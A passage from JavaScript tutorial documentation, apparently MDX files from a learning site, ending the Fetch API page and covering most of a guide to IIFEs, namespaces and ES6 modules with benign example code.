XMLHttpRequest?\">\n    Fetch uses Promises instead of callbacks, has a cleaner API, supports streaming, and integrates with Service Workers. XMLHttpRequest (XHR) is callback-based and older but supports progress events natively. According to the HTTP Archive's 2023 Web Almanac, Fetch usage has surpassed XHR in modern web applications, though XHR remains in legacy codebases.\n  </Accordion>\n\n  <Accordion title=\"Why does fetch not throw an error on HTTP 404 or 500 responses?\">\n    Fetch only rejects its Promise on network failures (no internet, DNS errors, CORS blocked). An HTTP 404 or 500 is still a successful network response — the server replied. You must check `response.ok` or `response.status` manually to detect HTTP errors. This is the most common Fetch gotcha for beginners.\n  </Accordion>\n\n  <Accordion title=\"How do you cancel a fetch request in JavaScript?\">\n    Use the AbortController API. Create an `AbortController`, pass its `signal` to `fetch()`, and call `controller.abort()` when you need to cancel. This throws an `AbortError` that you can catch. AbortController was added to the DOM specification and is supported in all modern browsers.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between GET and POST requests?\">\n    GET requests retrieve data and should have no side effects — they are safe and idempotent. POST requests send data to create or modify resources. GET parameters go in the URL query string, while POST data goes in the request body. As defined in the HTTP/1.1 specification (RFC 7231), GET responses can be cached by browsers, but POST responses are not cached by default.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    Fetch is Promise-based — you need to understand Promises first\n  </Card>\n  <Card title=\"async/await\" icon=\"hourglass\" href=\"/concepts/async-await\">\n    Modern syntax for working with Promises and fetch\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How JavaScript handles async operations like fetch\n  </Card>\n  <Card title=\"DOM\" icon=\"sitemap\" href=\"/concepts/dom\">\n    Often you'll fetch data and update the DOM with it\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Fetch API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API\">\n    Official MDN documentation for the Fetch API\n  </Card>\n  <Card title=\"Using Fetch — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch\">\n    Comprehensive guide to using the Fetch API\n  </Card>\n  <Card title=\"Response — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Response\">\n    Documentation for the Response object\n  </Card>\n  <Card title=\"AbortController — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/AbortController\">\n    Documentation for cancelling fetch requests\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"How to Use Fetch with async/await\" icon=\"newspaper\" href=\"https://dmitripavlutin.com/javascript-fetch-async-await/\">\n    Breaks down fetch into 5 simple recipes you can copy-paste. Great reference when you forget the exact syntax for POST requests or headers.\n  </Card>\n  <Card title=\"JavaScript Fetch API Ultimate Guide\" icon=\"newspaper\" href=\"https://blog.webdevsimplified.com/2022-01/js-fetch-api/\">\n    Kyle Cook's written version of his popular YouTube tutorials. Covers GET, POST, error handling, and AbortController with the same clear teaching style.\n  </Card>\n  <Card title=\"Fetch API Error Handling\" icon=\"newspaper\" href=\"https://www.tjvantoll.com/2015/09/13/fetch-and-errors/\">\n    The article that explains why fetch doesn't reject on 404/500. Short read that saves you hours of debugging the \"#1 fetch mistake.\"\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Fetch API\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cuEtnrL9-H0\">\n    Brad builds a simple app while explaining fetch concepts. Good if you learn better by watching someone code than reading docs.\n  </Card>\n  <Card title=\"Learn Fetch API in 6 Minutes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=37vxWr0WgQk\">\n    The fastest way to learn fetch if you're short on time. Kyle covers the essentials without any filler.\n  </Card>\n  <Card title=\"Async JS Crash Course - Callbacks, Promises, Async/Await\" icon=\"video\" href=\"https://www.youtube.com/watch?v=PoRJizFvM7s\">\n    Covers callbacks, Promises, and async/await before getting to fetch. Watch this if you want the full async picture, not just fetch.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/iife-modules.mdx",
    "content": "---\ntitle: \"IIFE & Namespaces\"\nsidebarTitle: \"IIFE, Modules & Namespaces: Structuring Code\"\ndescription: \"Learn how to organize JavaScript code with IIFEs, namespaces, and ES6 modules. Understand private scope, exports, dynamic imports, and common module mistakes.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Functions & Execution\"\n\"article:tag\": \"IIFE immediately invoked function expression, javascript modules, namespace pattern, ES6 modules, code organization\"\n---\n\nHow do you prevent your JavaScript variables from conflicting with code from other files or libraries? How do modern applications organize thousands of lines of code across multiple files?\n\n```javascript\n// Modern JavaScript: Each file is its own module\n// utils.js\nexport function formatDate(date) {\n  return date.toLocaleDateString()\n}\n\n// main.js\nimport { formatDate } from './utils.js'\nconsole.log(formatDate(new Date()))  // \"12/30/2025\"\n```\n\nThis is **[ES6 modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules)**. It's JavaScript's built-in way to organize code into separate files, each with its own private scope. But before modules existed, developers invented clever patterns like **IIFEs** and **namespaces** to solve the same problems.\n\n<Info>\n**What you'll learn in this guide:**\n- What IIFEs are and why they were invented\n- How to create private variables and avoid global pollution\n- What namespaces are and how to use them\n- Modern ES6 modules: import, export, and organizing large projects\n- The evolution from IIFEs to modules and why it matters\n- Common mistakes with modules and how to avoid them\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [scope and closures](/concepts/scope-and-closures). IIFEs and the module pattern rely on closures to create private variables. If closures feel unfamiliar, read that guide first!\n</Warning>\n\n---\n\n## What is an IIFE?\n\nAn **[IIFE](https://developer.mozilla.org/en-US/docs/Glossary/IIFE)** (Immediately Invoked Function Expression) is a JavaScript function that runs as soon as it's defined. As documented on MDN, it creates a private scope to protect variables from polluting the global namespace. This pattern was essential before ES6 modules existed.\n\n```javascript\n// An IIFE — runs immediately, no calling needed\n(function() {\n  const private = \"I'm hidden from the outside world\";\n  console.log(private);\n})();  // Runs right away!\n\n// The variable \"private\" doesn't exist out here\n// console.log(private);  // ReferenceError: private is not defined\n```\n\nThe parentheses around the function turn it from a declaration into an expression, and the `()` at the end immediately invokes it. This was the go-to pattern for creating private scope before JavaScript had built-in modules. According to the 2023 State of JS survey, ES modules are now used by the vast majority of JavaScript developers, but IIFEs remain common in bundler output and legacy codebases.\n\n<Note>\n**Historical context:** IIFEs were everywhere in JavaScript codebases from 2010-2015. Today, most projects use ES6 modules (`import`/`export`), so you won't write many IIFEs in modern code. However, understanding them is valuable. You'll encounter IIFEs in older codebases, libraries, and they're still useful for specific cases like async initialization or quick scripts.\n</Note>\n\n---\n\n## The Messy Desk Problem: A Real-World Analogy\n\nImagine you're working at a desk covered with papers, pens, sticky notes, and coffee cups. Everything is mixed together. When you need to find something specific, you have to dig through the mess. And if someone else uses your desk? Chaos.\n\nNow imagine organizing that desk:\n\n```\n┌─────────────────────────────────────────────────────────────────────┐\n│ THE MESSY DESK (No Organization)                                    │\n│                                                                     │\n│   password = \"123\"    userName = \"Bob\"    calculate()               │\n│       config = {}    helpers = {}    API_KEY = \"secret\"             │\n│   utils = {}    data = []    currentUser = null    init()           │\n│                                                                     │\n│   Everything is everywhere. Anyone can access anything.             │\n│   Name conflicts are common. It's hard to find what you need.       │\n└─────────────────────────────────────────────────────────────────────┘\n\n┌─────────────────────────────────────────────────────────────────────┐\n│ THE ORGANIZED DESK (With Modules)                                   │\n│                                                                     │\n│   ┌─────────────┐  ┌─────────────┐  ┌─────────────┐                │\n│   │   auth.js   │  │   api.js    │  │  utils.js   │                │\n│   │             │  │             │  │             │                │\n│   │ • login()   │  │ • fetch()   │  │ • format()  │                │\n│   │ • logout()  │  │ • post()    │  │ • validate()│                │\n│   │ • user      │  │ • API_KEY   │  │ • helpers   │                │\n│   └─────────────┘  └─────────────┘  └─────────────┘                │\n│                                                                     │\n│   Each drawer has its own space. Take only what you need.           │\n│   Private things stay private. Everything is easy to find.          │\n└─────────────────────────────────────────────────────────────────────┘\n```\n\nThis is the story of how JavaScript developers learned to organize their code:\n\n1. **First**, we had the messy desk — everything in the global scope\n2. **Then**, we invented **IIFEs** — a clever trick to create private spaces\n3. **Next**, we created **Namespaces** — grouping related things under one name\n4. **Finally**, we got **Modules** — the modern, built-in solution\n\nLet's learn each approach and understand when to use them.\n\n---\n\n## Part 1: IIFE — The Self-Running Function\n\n### Breaking Down the Name\n\nThe acronym IIFE tells you exactly what it does:\n\n- **Immediately** — runs right now\n- **Invoked** — called/executed\n- **[Function Expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function)** — a function written as an expression (not a declaration)\n\n```javascript\n// A normal function — you define it, then call it later\nfunction greet() {\n  console.log(\"Hello!\");\n}\ngreet();  // You have to call it\n\n// An IIFE — it runs immediately, no calling needed\n(function() {\n  console.log(\"Hello!\");\n})();  // Runs right away!\n```\n\n### Expression vs Statement: Why It Matters for IIFEs\n\nTo understand IIFEs, you need to understand the difference between **expressions** and **statements** in JavaScript.\n\n```\n┌─────────────────────────────────────────────────────────────────────┐\n│ EXPRESSION vs STATEMENT                                             │\n│                                                                     │\n│ EXPRESSION = produces a value                                       │\n│ ─────────────────────────────                                       │\n│   5 + 3              → 8                                            │\n│   \"hello\"            → \"hello\"                                      │\n│   myFunction()       → whatever the function returns                │\n│   x > 10             → true or false                                │\n│   function() {}      → a function value (when in expression position)│\n│                                                                     │\n│ STATEMENT = performs an action (no value produced)                  │\n│ ──────────────────────────────────────────────────                  │\n│   if (x > 10) { }    → controls flow, no value                      │\n│   for (let i...) { } → loops, no value                              │\n│   function foo() { } → declares a function, no value                │\n│   let x = 5;         → declares a variable, no value                │\n└─────────────────────────────────────────────────────────────────────┘\n```\n\n**The key insight:** A function can be written two ways:\n\n```javascript\n// FUNCTION DECLARATION (statement)\n// Starts with the word \"function\" at the beginning of a line\nfunction greet() {\n  return \"Hello!\";\n}\n\n// FUNCTION EXPRESSION (expression)\n// The function is assigned to a variable or wrapped in parentheses\nconst greet = function() {\n  return \"Hello!\";\n};\n```\n\n[Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) are always expressions:\n\n```javascript\nconst greet = () => \"Hello!\";\n```\n\n**Why does this matter for IIFEs?**\n\n```javascript\n// ✗ This FAILS — JavaScript sees \"function\" and expects a declaration\nfunction() {\n  console.log(\"This causes a syntax error!\");\n}();  // SyntaxError: Function statements require a function name\n      // (exact error message varies by browser)\n\n// ✓ This WORKS — Parentheses make it an expression\n(function() {\n  console.log(\"This works!\");\n})();\n\n// The parentheses tell JavaScript: \"This is a value, not a declaration\"\n```\n\n<Info>\n**Function Declaration vs Function Expression:**\n\n| Feature | Declaration | Expression |\n|---------|-------------|------------|\n| Syntax | `function name() {}` | `const name = function() {}` |\n| [Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) | Yes (can call before definition) | No (must define first) |\n| Name | Required | Optional |\n| Use in IIFE | No | Yes (must use parentheses) |\n</Info>\n\n### The Anatomy of an IIFE\n\nLet's break down the syntax piece by piece:\n\n```javascript\n(function() {\n  // your code here\n})();\n\n// Let's label each part:\n\n( function() { ... } )  ();\n│                    │   │\n│                    │   └─── 3. Invoke (call) it immediately\n│                    │\n│                    └─────── 2. Wrap in parentheses (makes it an expression)\n│\n└──────────────────────────── 1. Define a function\n```\n\n<Tip>\n**Why the parentheses?** Without them, JavaScript thinks you're writing a function declaration, not an expression. The parentheses tell JavaScript: \"This is a value (an expression), not a statement.\"\n</Tip>\n\n### IIFE Variations\n\nThere are several ways to write an IIFE. They all do the same thing:\n\n```javascript\n// Classic style\n(function() {\n  console.log(\"Classic IIFE\");\n})();\n\n// Alternative parentheses placement\n(function() {\n  console.log(\"Alternative style\");\n}());\n\n// Arrow function IIFE (modern)\n(() => {\n  console.log(\"Arrow IIFE\");\n})();\n\n// With parameters\n((name) => {\n  console.log(`Hello, ${name}!`);\n})(\"Alice\");\n\n// Named IIFE (useful for debugging)\n(function myIIFE() {\n  console.log(\"Named IIFE\");\n})();\n```\n\n### Why Were IIFEs Invented?\n\nBefore ES6 modules, JavaScript had a big problem: **everything was global**. When scripts were loaded with regular `<script>` tags, variables declared with [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) outside of functions became global and were shared across all scripts on the page, leading to conflicts:\n\n```javascript\n// file1.js\nvar userName = \"Alice\";  // var creates global variables\nvar count = 0;\n\n// file2.js (loaded after file1.js)\nvar userName = \"Bob\";    // Oops! Overwrites the first userName\nvar count = 100;         // Oops! Overwrites the first count\n\n// Now file1.js's code is broken because its variables were replaced\n```\n\nIIFEs solved this by creating a **private scope**:\n\n```javascript\n// file1.js — wrapped in an IIFE\n(function() {\n  var userName = \"Alice\";  // Private to this IIFE\n  var count = 0;           // Private to this IIFE\n  \n  // Your code here...\n})();\n\n// file2.js — also wrapped in an IIFE\n(function() {\n  var userName = \"Bob\";    // Different variable, no conflict!\n  var count = 100;         // Different variable, no conflict!\n  \n  // Your code here...\n})();\n```\n\n### Practical Example: Creating Private Variables\n\nOne of the most powerful uses of IIFEs is creating **private variables** that can't be accessed from outside:\n\n```javascript\nconst counter = (function() {\n  // Private variable — can't be accessed directly\n  let count = 0;  // let is block-scoped, perfect for private state\n  \n  // Private function — also hidden\n  function log(message) {\n    console.log(`[Counter] ${message}`);\n  }\n  \n  // Return public interface\n  return {\n    increment() {\n      count++;\n      log(`Incremented to ${count}`);\n    },\n    decrement() {\n      count--;\n      log(`Decremented to ${count}`);\n    },\n    getCount() {\n      return count;\n    }\n  };\n})();\n\n// Using the counter\ncounter.increment();      // [Counter] Incremented to 1\ncounter.increment();      // [Counter] Incremented to 2\nconsole.log(counter.getCount());  // 2\n\n// Trying to access private variables\nconsole.log(counter.count);  // undefined (it's private!)\ncounter.log(\"test\");         // TypeError: counter.log is not a function\n```\n\nThis pattern is called the **Module Pattern**. It uses [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to keep variables private. It was the standard way to create \"modules\" before ES6.\n\n### IIFE with Parameters\n\nYou can pass values into an IIFE:\n\n```javascript\n// Passing jQuery to ensure $ refers to jQuery\n(function($) {\n  // Inside here, $ is definitely jQuery\n  $(\".button\").click(function() {\n    console.log(\"Clicked!\");\n  });\n})(jQuery);\n\n// Passing window and document for performance\n(function(window, document) {\n  // Accessing window and document is slightly faster\n  // because they're local variables now\n  const body = document.body;\n  const location = window.location;\n})(window, document);\n```\n\n### When to Use IIFEs Today\n\nWith ES6 modules, IIFEs are less common. But they're still useful for:\n\n<AccordionGroup>\n  <Accordion title=\"1. One-time initialization code\">\n    ```javascript\n    // Run setup code once without leaving variables behind\n    const config = (() => {\n      const env = process.env.NODE_ENV;\n      const apiUrl = env === 'production' \n        ? 'https://api.example.com'\n        : 'http://localhost:3000';\n      \n      return { env, apiUrl };\n    })();\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Creating async IIFEs\">\n    ```javascript\n    // Top-level await isn't always available\n    // IIFE lets you use async/await anywhere\n    (async () => {  // async functions return Promises\n      const response = await fetch('/api/data');\n      const data = await response.json();\n      console.log(data);\n    })();\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Avoiding global pollution in scripts\">\n    ```javascript\n    // In a <script> tag (not a module)\n    (function() {\n      // All variables here are private\n      const secretKey = \"abc123\";\n      \n      // Only expose what's needed\n      window.MyApp = {\n        init() { /* ... */ }\n      };\n    })();\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Part 2: Namespaces — Organizing Under One Name\n\n### What is a Namespace?\n\nA **namespace** is a container that groups related code under a single name. It's like putting all your kitchen items in a drawer labeled \"Kitchen.\"\n\n```javascript\n// Without namespace — variables everywhere\nvar userName = \"Alice\";\nvar userAge = 25;\nvar userEmail = \"alice@example.com\";\n\nfunction userLogin() { /* ... */ }\nfunction userLogout() { /* ... */ }\n\n// With namespace — everything organized under one name\nvar User = {\n  name: \"Alice\",\n  age: 25,\n  email: \"alice@example.com\",\n  \n  login() { /* ... */ },\n  logout() { /* ... */ }\n};\n\n// Access with the namespace prefix\nconsole.log(User.name);\nUser.login();\n```\n\n### Why Use Namespaces?\n\n```\nBefore Namespaces:                    After Namespaces:\n\nGlobal Scope:                         Global Scope:\n├── userName                          └── MyApp\n├── userAge                               ├── User\n├── userEmail                             │   ├── name\n├── userLogin()                           │   ├── login()\n├── userLogout()                          │   └── logout()\n├── productName                           ├── Product\n├── productPrice                          │   ├── name\n├── productAdd()                          │   ├── price\n├── cartItems                             │   └── add()\n├── cartAdd()                             └── Cart\n└── cartRemove()                              ├── items\n                                              ├── add()\n11 global variables!                          └── remove()\n\n                                      1 global variable!\n```\n\n### Creating a Namespace\n\nThe simplest namespace is just an object:\n\n```javascript\n// Simple namespace\nconst MyApp = {};\n\n// Add things to it\nMyApp.version = \"1.0.0\";\nMyApp.config = {\n  apiUrl: \"https://api.example.com\",\n  timeout: 5000\n};\nMyApp.utils = {\n  formatDate(date) {\n    return date.toLocaleDateString();\n  },\n  capitalize(str) {\n    return str.charAt(0).toUpperCase() + str.slice(1);\n  }\n};\n\n// Use it\nconsole.log(MyApp.version);\nconsole.log(MyApp.utils.formatDate(new Date()));\n```\n\n### Nested Namespaces\n\nFor larger applications, you can nest namespaces:\n\n```javascript\n// Create the main namespace\nconst MyApp = {\n  // Nested namespaces\n  Models: {},\n  Views: {},\n  Controllers: {},\n  Utils: {}\n};\n\n// Add to nested namespaces\nMyApp.Models.User = {\n  create(name) { /* ... */ },\n  find(id) { /* ... */ }\n};\n\nMyApp.Views.UserList = {\n  render(users) { /* ... */ }\n};\n\nMyApp.Utils.Validation = {\n  isEmail(str) {\n    return str.includes('@');\n  }\n};\n\n// Use nested namespaces\nconst user = MyApp.Models.User.create(\"Alice\");\nMyApp.Views.UserList.render([user]);\n```\n\n### Combining Namespaces with IIFEs\n\nThe best of both worlds: organized AND private:\n\n```javascript\nconst MyApp = {};\n\n// Use IIFE to add features with private variables\nMyApp.Counter = (function() {\n  // Private\n  let count = 0;\n  \n  // Public\n  return {\n    increment() { count++; },\n    decrement() { count--; },\n    getCount() { return count; }\n  };\n})();\n\nMyApp.Logger = (function() {\n  // Private\n  const logs = [];\n  \n  // Public\n  return {\n    log(message) {\n      logs.push({ message, time: new Date() });\n      console.log(message);\n    },\n    getLogs() {\n      return [...logs];  // Return a copy\n    }\n  };\n})();\n\n// Usage\nMyApp.Counter.increment();\nMyApp.Logger.log(\"Counter incremented\");\n```\n\n<Note>\n**Namespaces vs Modules:** Namespaces are a pattern, not a language feature. They help organize code but don't provide true encapsulation. Modern ES6 modules are the preferred approach for new projects, but you'll still see namespaces in older codebases and some libraries.\n</Note>\n\n---\n\n## Part 3: ES6 Modules — The Modern Solution\n\n### What are Modules?\n\n**Modules** are JavaScript's built-in way to organize code into separate files, each with its own scope. Unlike IIFEs and namespaces (which are patterns), modules are a **language feature**.\n\nThe [`export`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export) statement makes functions, objects, or values available to other modules. The [`import`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) statement brings them in.\n\n```javascript\n// math.js — A module file\nexport function add(a, b) {\n  return a + b;\n}\n\nexport function subtract(a, b) {\n  return a - b;\n}\n\nexport const PI = 3.14159;\n\n// main.js — Another module that uses math.js\nimport { add, subtract, PI } from './math.js';\n\nconsole.log(add(2, 3));        // 5\nconsole.log(subtract(10, 4));  // 6\nconsole.log(PI);               // 3.14159\n```\n\n### Why Modules are Better\n\n| Feature | IIFE/Namespace | ES6 Modules |\n|---------|---------------|-------------|\n| File-based | No (one big file) | Yes (one module per file) |\n| True privacy | Partial (IIFE only) | Yes (unexported = private) |\n| Dependency management | Manual | Automatic (import/export) |\n| Static analysis | No | Yes (tools can analyze) |\n| Tree shaking | No | Yes (remove unused code) |\n| Browser support | Always | Modern browsers + bundlers |\n\n### How to Use Modules\n\n#### In the Browser\n\n```html\n<!-- Add type=\"module\" to use ES6 modules -->\n<script type=\"module\" src=\"main.js\"></script>\n\n<!-- Or inline -->\n<script type=\"module\">\n  import { greet } from './utils.js';\n  greet('World');\n</script>\n```\n\n#### In Node.js\n\n```javascript\n// Option 1: Use .mjs extension\n// math.mjs\nexport function add(a, b) { return a + b; }\n\n// Option 2: Add \"type\": \"module\" to package.json\n// Then use .js extension normally\n```\n\n<Note>\n**What about `require()` and `module.exports`?** You might see this older syntax in Node.js code:\n\n```javascript\n// CommonJS (older Node.js style)\nconst fs = require('fs');\nmodule.exports = { myFunction };\n```\n\nThis is called **CommonJS**, Node.js's original module system. While still widely used, ES modules (`import`/`export`) are the modern standard and work in both browsers and Node.js. New projects should use ES modules.\n</Note>\n\n---\n\n## Exporting: Sharing Your Code\n\nThere are two types of exports: **named exports** and **default exports**.\n\n### Named Exports\n\nNamed exports let you export multiple things from a module. Each has a name.\n\n```javascript\n// utils.js\n\n// Export as you declare\nexport const PI = 3.14159;\n\nexport function square(x) {\n  return x * x;\n}\n\nexport class Calculator {\n  add(a, b) { return a + b; }\n}\n\n// Or export at the end\nconst E = 2.71828;\nfunction cube(x) { return x * x * x; }\n\nexport { E, cube };\n```\n\n### Default Export\n\nEach module can have ONE default export. It's the \"main\" thing the module provides.\n\n```javascript\n// greeting.js\n\n// Default export — no name needed when importing\nexport default function greet(name) {\n  return `Hello, ${name}!`;\n}\n\n// You can have named exports too\nexport const defaultName = \"World\";\n```\n\n```javascript\n// Another example — default exporting a class\n// User.js\n\nexport default class User {\n  constructor(name) {\n    this.name = name;\n  }\n  \n  greet() {\n    return `Hi, I'm ${this.name}`;\n  }\n}\n```\n\n### When to Use Each\n\n<Tabs>\n  <Tab title=\"Named Exports\">\n    **Use when:**\n    - You're exporting multiple things\n    - You want clear, explicit imports\n    - You want to enable tree-shaking\n    \n    ```javascript\n    // utils.js\n    export function formatDate(date) { /* ... */ }\n    export function formatCurrency(amount) { /* ... */ }\n    export function formatPhone(number) { /* ... */ }\n    \n    // Import only what you need\n    import { formatDate } from './utils.js';\n    ```\n  </Tab>\n  \n  <Tab title=\"Default Export\">\n    **Use when:**\n    - The module has one main purpose\n    - You're exporting a class or component\n    - The import name doesn't need to match\n    \n    ```javascript\n    // Button.js — React component\n    export default function Button({ label }) {\n      return <button>{label}</button>;\n    }\n    \n    // Import with any name\n    import MyButton from './Button.js';\n    ```\n  </Tab>\n</Tabs>\n\n---\n\n## Importing: Using Other People's Code\n\n### Named Imports\n\nImport specific things by name (must match the export names):\n\n```javascript\n// Import specific items\nimport { PI, square } from './utils.js';\n\n// Import with a different name (alias)\nimport { PI as pi, square as sq } from './utils.js';\n\n// Import everything as a namespace object\nimport * as Utils from './utils.js';\nconsole.log(Utils.PI);\nconsole.log(Utils.square(4));\n```\n\n### Default Import\n\nImport the default export with any name you choose:\n\n```javascript\n// The name doesn't have to match the export name\nimport greet from './greeting.js';\n\n// In a DIFFERENT file, you could use a different name:\n// import sayHello from './greeting.js';  // Same function, different name\n// import xyz from './greeting.js';        // Still the same function!\n\n// Combine default and named imports\nimport greet, { defaultName } from './greeting.js';\n```\n\n<Tip>\n**Why any name?** Default exports don't have a required name, so you choose what to call it when importing. This is useful but can make code harder to search. Named exports are often preferred for this reason.\n</Tip>\n\n### Side-Effect Imports\n\nSometimes you just want to run a module's code without importing anything:\n\n```javascript\n// This runs the module but imports nothing\nimport './polyfills.js';\nimport './analytics.js';\n\n// Useful for:\n// - Polyfills that add global features\n// - Initialization code\n// - CSS (with bundlers)\n```\n\n### Import Syntax Summary\n\n```javascript\n// Named imports\nimport { a, b, c } from './module.js';\n\n// Named import with alias\nimport { reallyLongName as short } from './module.js';\n\n// Default import\nimport myDefault from './module.js';\n\n// Default + named imports\nimport myDefault, { a, b } from './module.js';\n\n// Import all as namespace\nimport * as MyModule from './module.js';\n\n// Side-effect import\nimport './module.js';\n```\n\n---\n\n## Organizing a Real Project\n\nLet's see how modules work in a realistic project structure:\n\n```\nmy-app/\n├── index.html\n├── src/\n│   ├── main.js           # Entry point\n│   ├── config.js         # App configuration\n│   ├── utils/\n│   │   ├── index.js      # Re-exports from utils\n│   │   ├── format.js\n│   │   └── validate.js\n│   ├── services/\n│   │   ├── index.js\n│   │   ├── api.js\n│   │   └── auth.js\n│   └── components/\n│       ├── index.js\n│       ├── Button.js\n│       └── Modal.js\n```\n\n### The Index.js Pattern (Barrel Files)\n\nUse `index.js` to re-export from multiple files:\n\n```javascript\n// utils/format.js\nexport function formatDate(date) { /* ... */ }\nexport function formatCurrency(amount) { /* ... */ }\n\n// utils/validate.js\nexport function isEmail(str) { /* ... */ }\nexport function isPhone(str) { /* ... */ }\n\n// utils/index.js — re-exports everything\nexport { formatDate, formatCurrency } from './format.js';\nexport { isEmail, isPhone } from './validate.js';\n\n// Now in main.js, you can import from the folder\nimport { formatDate, isEmail } from './utils/index.js';\n// Or even shorter (works with bundlers and Node.js, not native browser modules):\nimport { formatDate, isEmail } from './utils';\n```\n\n### Real Example: A Simple App\n\n```javascript\n// config.js\nexport const API_URL = 'https://api.example.com';\nexport const APP_NAME = 'My App';\n\n// services/api.js\nimport { API_URL } from '../config.js';\n\nexport async function fetchUsers() {\n  const response = await fetch(`${API_URL}/users`);\n  return response.json();\n}\n\nexport async function fetchPosts() {\n  const response = await fetch(`${API_URL}/posts`);\n  return response.json();\n}\n\n// services/auth.js\nimport { API_URL } from '../config.js';\n\nlet currentUser = null;  // Private to this module\n\nexport async function login(email, password) {\n  const response = await fetch(`${API_URL}/login`, {\n    method: 'POST',\n    body: JSON.stringify({ email, password })\n  });\n  currentUser = await response.json();\n  return currentUser;\n}\n\nexport function getCurrentUser() {\n  return currentUser;\n}\n\nexport function logout() {\n  currentUser = null;\n}\n\n// main.js — Entry point\nimport { APP_NAME } from './config.js';\nimport { fetchUsers } from './services/api.js';\nimport { login, getCurrentUser } from './services/auth.js';\n\nconsole.log(`Welcome to ${APP_NAME}`);\n\nasync function init() {\n  await login('user@example.com', 'password');\n  console.log('Logged in as:', getCurrentUser().name);\n  \n  const users = await fetchUsers();\n  console.log('Users:', users);\n}\n\ninit();\n```\n\n---\n\n## Dynamic Imports\n\nSometimes you don't want to load a module until it's needed. **[Dynamic imports](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import)** load modules on demand:\n\n```javascript\n// Static import — always loaded\nimport { bigFunction } from './heavy-module.js';\n\n// Dynamic import — loaded only when needed\nasync function loadWhenNeeded() {\n  const module = await import('./heavy-module.js');\n  module.bigFunction();\n}\n\n// Common use: Code splitting for routes\nasync function loadPage(pageName) {\n  switch (pageName) {\n    case 'home':\n      const home = await import('./pages/Home.js');\n      return home.default;\n    case 'about':\n      const about = await import('./pages/About.js');\n      return about.default;\n    case 'contact':\n      const contact = await import('./pages/Contact.js');\n      return contact.default;\n  }\n}\n\n// Common use: Conditional loading (inside an async function)\nasync function showCharts() {\n  if (userWantsCharts) {\n    const { renderChart } = await import('./chart-library.js');\n    renderChart(data);\n  }\n}\n```\n\n<Tip>\n**Performance tip:** Dynamic imports are great for loading heavy libraries only when needed. This makes your app's initial load faster.\n</Tip>\n\n---\n\n## The Evolution: From IIFEs to Modules\n\nHere's how the same code would look in each era:\n\n<Tabs>\n  <Tab title=\"Era 1: Global (Bad)\">\n    ```javascript\n    // Everything pollutes global scope\n    var counter = 0;\n    \n    function increment() {\n      counter++;\n    }\n    \n    function getCount() {\n      return counter;\n    }\n    \n    // Problem: Anyone can do this\n    counter = 999;  // Oops, state corrupted!\n    ```\n  </Tab>\n  \n  <Tab title=\"Era 2: IIFE (Better)\">\n    ```javascript\n    // Uses closure to hide counter\n    var Counter = (function() {\n      var counter = 0;  // Private!\n      \n      return {\n        increment: function() {\n          counter++;\n        },\n        getCount: function() {\n          return counter;\n        }\n      };\n    })();\n    \n    Counter.increment();\n    console.log(Counter.getCount());  // 1\n    console.log(Counter.counter);     // undefined (private!)\n    ```\n  </Tab>\n  \n  <Tab title=\"Era 3: ES6 Modules (Best)\">\n    ```javascript\n    // counter.js\n    let counter = 0;  // Private (not exported)\n    \n    export function increment() {\n      counter++;\n    }\n    \n    export function getCount() {\n      return counter;\n    }\n    \n    // main.js\n    import { increment, getCount } from './counter.js';\n    \n    increment();\n    console.log(getCount());  // 1\n    // counter variable is not accessible at all\n    ```\n  </Tab>\n</Tabs>\n\n---\n\n## Common Patterns and Best Practices\n\n### 1. One Thing Per Module\n\nEach module should do one thing well:\n\n```javascript\n// ✗ Bad: One file does everything\n// utils.js with 50 different functions\n\n// ✓ Good: Separate concerns\n// formatters.js — formatting functions\n// validators.js — validation functions\n// api.js — API calls\n```\n\n### 2. Keep Related Things Together\n\n```javascript\n// user/\n// ├── User.js         # User class\n// ├── userService.js  # User API calls\n// ├── userUtils.js    # User-related utilities\n// └── index.js        # Re-exports public API\n```\n\n### 3. Avoid Circular Dependencies\n\n```javascript\n// ✗ Bad: A imports B, B imports A\n// a.js\nimport { fromB } from './b.js';\nexport const fromA = \"A\";\n\n// b.js\nimport { fromA } from './a.js';  // Circular!\nexport const fromB = \"B\";\n\n// ✓ Good: Create a third module for shared code\n// shared.js\nexport const sharedThing = \"shared\";\n\n// a.js\nimport { sharedThing } from './shared.js';\n\n// b.js\nimport { sharedThing } from './shared.js';\n```\n\n### 4. Consider Default Exports for Components/Classes\n\nA common convention is to use default exports when a module has one main purpose:\n\n```javascript\n// Components are usually one-per-file\n// Button.js\nexport default 